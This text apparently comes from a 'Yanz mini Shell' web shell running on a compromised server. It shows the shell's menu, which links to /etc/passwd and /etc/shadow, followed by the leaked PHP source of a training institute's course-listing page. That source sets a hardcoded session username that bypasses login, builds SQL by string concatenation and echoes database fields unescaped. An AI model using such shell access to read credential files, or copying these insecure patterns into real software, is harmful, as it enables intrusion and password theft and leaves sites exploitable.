Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php 
include("connect.php");
session_start();
$_SESSION['user_name']="napd";;
$user_name=$_SESSION['user_name'];
ini_set('display_errors','Off');
ini_set('error_reporting', E_ALL );
include('Main SecTion/user_information.php');
$menu = "Upcoming Courses (Click on course name for registration)";
?>

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>NAPD | <?php echo $menu; ?></title>
  <?php include('css_content.php');?>

$(document).ready(function() {
	$('#example').DataTable( {
		dom: 'Bfrtip',
		buttons: [
			'copy', 'csv', 'excel', 'pdf', 'print'
		]
	} );
} );

</script>
	
<style>
    th{text-align:center;}
</style>
<style>
.button {
  background-color: #4CAF50;
  border: none;
  color: white;
  padding: 8px 8px;
  border-radius:10px;
  text-align: center;
  text-decoration: none;
  display: inline-block;
  font-size: 18px;
  font-weight:900;
  margin: 4px 2px;
  cursor: pointer;
}
</style>
</head>
<body class="hold-transition skin-blue sidebar-mini">
<div class="wrapper">
  <div class="content-wrapper" style="margin: 0 auto; text-align:center;" >
    <section class="content">
      <div class="row">
    
    <div class="col-sm-12">
        <div class="box box-primary">
            <div class="box-body">
                <div class="table-responsive">
                    <table class="table table-bordered table-striped table-hover" id="example">
                      <thead>
                            <tr>
                                <th>SL</th>
                                <th style="text-align:left; width:25%;">Course Name</th>
                                <th>Course Duration</th>
                                <th>Course Type</th>
                                <th style="text-align:left; width:20%;">Course Management</th>
                                <th style="text-align:left; width:20%;">Mobile</th>
                                <th>Evaluation</th>
                            </tr>
                            
                     </thead> 
               <tbody aria-relevant="all" aria-live="polite" role="alert">
           <?php
          ini_set('max_execution_time', 1000);
					
         $select= "SELECT DISTINCT CS.*, CM.employee1, CM.employee2, CM.employee3, CM.designation1, CM.designation2, CM.designation3, CM.mobile1, CM.mobile2, CM.mobile3  "
    ."FROM course_schedule CS, course_management CM "
        ." where  STR_TO_DATE(CS.start_date,'%Y-%m-%d') <='" . date("Y-m-d"). "' AND STR_TO_DATE(CS.end_date,'%Y-%m-%d') >='" . date("Y-m-d") ."'" 
        ." AND CS.course_name = CM.course_name AND CS.batch = CM.batch_name "
        ." order by STR_TO_DATE(CS.end_date,'%Y-%m-%d') ASC, CS.start_date ASC, CS.id DESC  ";		
          
          //echo $select;
			$run =  mysqli_query($db, $select);
		   $i=1;
		   
		   $CD ="";
		   $CC = "";
		   $CC2 = "";
		   $CD_designation1 ="";
		   $CC_designation2 = "";
		   $CC2_designation3 = "";
		   $CD_mobile1 ="";
		   $CC_mobile2 = "";
		   $CC2_mobile3 = "";
		   
		   while($row=mysqli_fetch_array($run)){
			   	
    			$course_type=$row['course_type'];
    			$course_name=$row['course_name'];
    			
    			$id=$row['id'];
    			
    			$nomination=$row['nomination'];
    			$start_date=$row['start_date'];
    			$end_date=$row['end_date'];
    			$batch=$row['batch'];
    			
    			$CD=$row['employee1'];
    			$CC=$row['employee2'];
				$CC2=$row['employee3'];
    			$CD_designation1 = $row['designation1'];
    			$CC_designation2 = $row['designation2'];
				$CC2_designation3 = $row['designation3'];
    			$CD_mobile1 = $row['mobile1'];
    			$CC_mobile2 = $row['mobile2'];
				$CC2_mobile3 = $row['mobile3'];
				if(!isset($CC2)) $CC2="";
				if(!isset($CC2_designation3)) $CC2_designation3="";
				if(!isset($CC2_mobile3)) $CC2_mobile3="";
    			
    			if(strlen($CD_mobile1)==10){
    			    $CD_mobile1 = "0" .$CD_mobile1;
    			}
    			
    			if(strlen($CC_mobile2)==10){
    			    $CC_mobile2 = "0" .$CC_mobile2;
    			}
    			if(strlen($CC2_mobile3)==10){
    			    $CC2_mobile3 = "0" .$CC2_mobile3;
    			}
    			
    			$nomination=date_create_from_format('Y-m-d', $nomination);
    			$nomination=date_format($nomination, 'd F, Y');
    			
    			$start_date=date_create_from_format('Y-m-d', $start_date);
                $start_date=date_format($start_date, 'd-M-Y');
    			$end_date=date_create_from_format('Y-m-d', $end_date);
                $end_date=date_format($end_date, 'd-M-Y');
                
        		$total=$i++;
        		$detail_id=$row['id'];
        		$table='course_schedule';

?>
                        
                    <tr>
                    <td style="text-align:center;"><?php echo $total; ?></td>
                    
                    <td style="text-align:left" ><a target="_blank" title="Click here for course registration" href="course_registration.php?cid=<?php echo $detail_id; ?>">
                    	<?php echo $course_name; ?></a> (Batch <?php echo $batch; ?>) </td>
                    	
                    <td style="text-align:center;"><?php echo $start_date; ?> to <?php echo $end_date; ?></td>
                    
                    <td style="text-align:center;"><?php echo $course_type; ?></td>
                    
                    <td style="text-align:left" >
                    <a target="_blank" title="Click here for course management information" href="http://napd.gov.bd/site/view/officer_list">         	
                    	<?php 
						echo "CD: " .$CD . ", " . $CD_designation1;

if (!empty($CC2)){
							echo "<br>CC-1: " . $CC . ", " . $CC_designation2; 
							echo "<br>CC-2: " . $CC2 . ", " . $CC2_designation3; 
						} else {
							echo "<br>CC: " . $CC . ", " . $CC_designation2;
						}
                    	?>
                    	</a>
                    </td>
                    
                    <td style="text-align:left" >
                    	<?php 
                    	echo "CD: " .$CD_mobile1;
						
						 if (!empty($CC2_mobile3)){
							echo "<br>CC-1: " . $CC_mobile2 ;
							echo "<br>CC-2: " . $CC2_mobile3;
						} else {
							echo "<br>CC: " . $CC_mobile2;
						}

?>
                    </td>
                   
                   <td style="text-align:left" >
                    <a target="_blank" class="button" title="Click here for course Evaluation" href="course_evaluation.php?cid=<?php echo $detail_id; ?>">Click for Speaker Evaluation</a>
                    </td>
                   
                    
                     </tr>
                        
                        <?php } ?>
                        </tbody>
                         
                        
                    </table>
                </div>
            </div>
        </div>
    </div>
    <?php //echo date("l j F Y, g:i a"); ?>
    <h5 style="margin: 0 auto;text-align:center;color:green;">Report Date: <?php echo date("l j F Y"); ?></h5>
    <h5 style="margin: 0 auto;text-align:center;color:green;">Prepared by ICT, NAPD</h5>
</div>

</section>
  </div>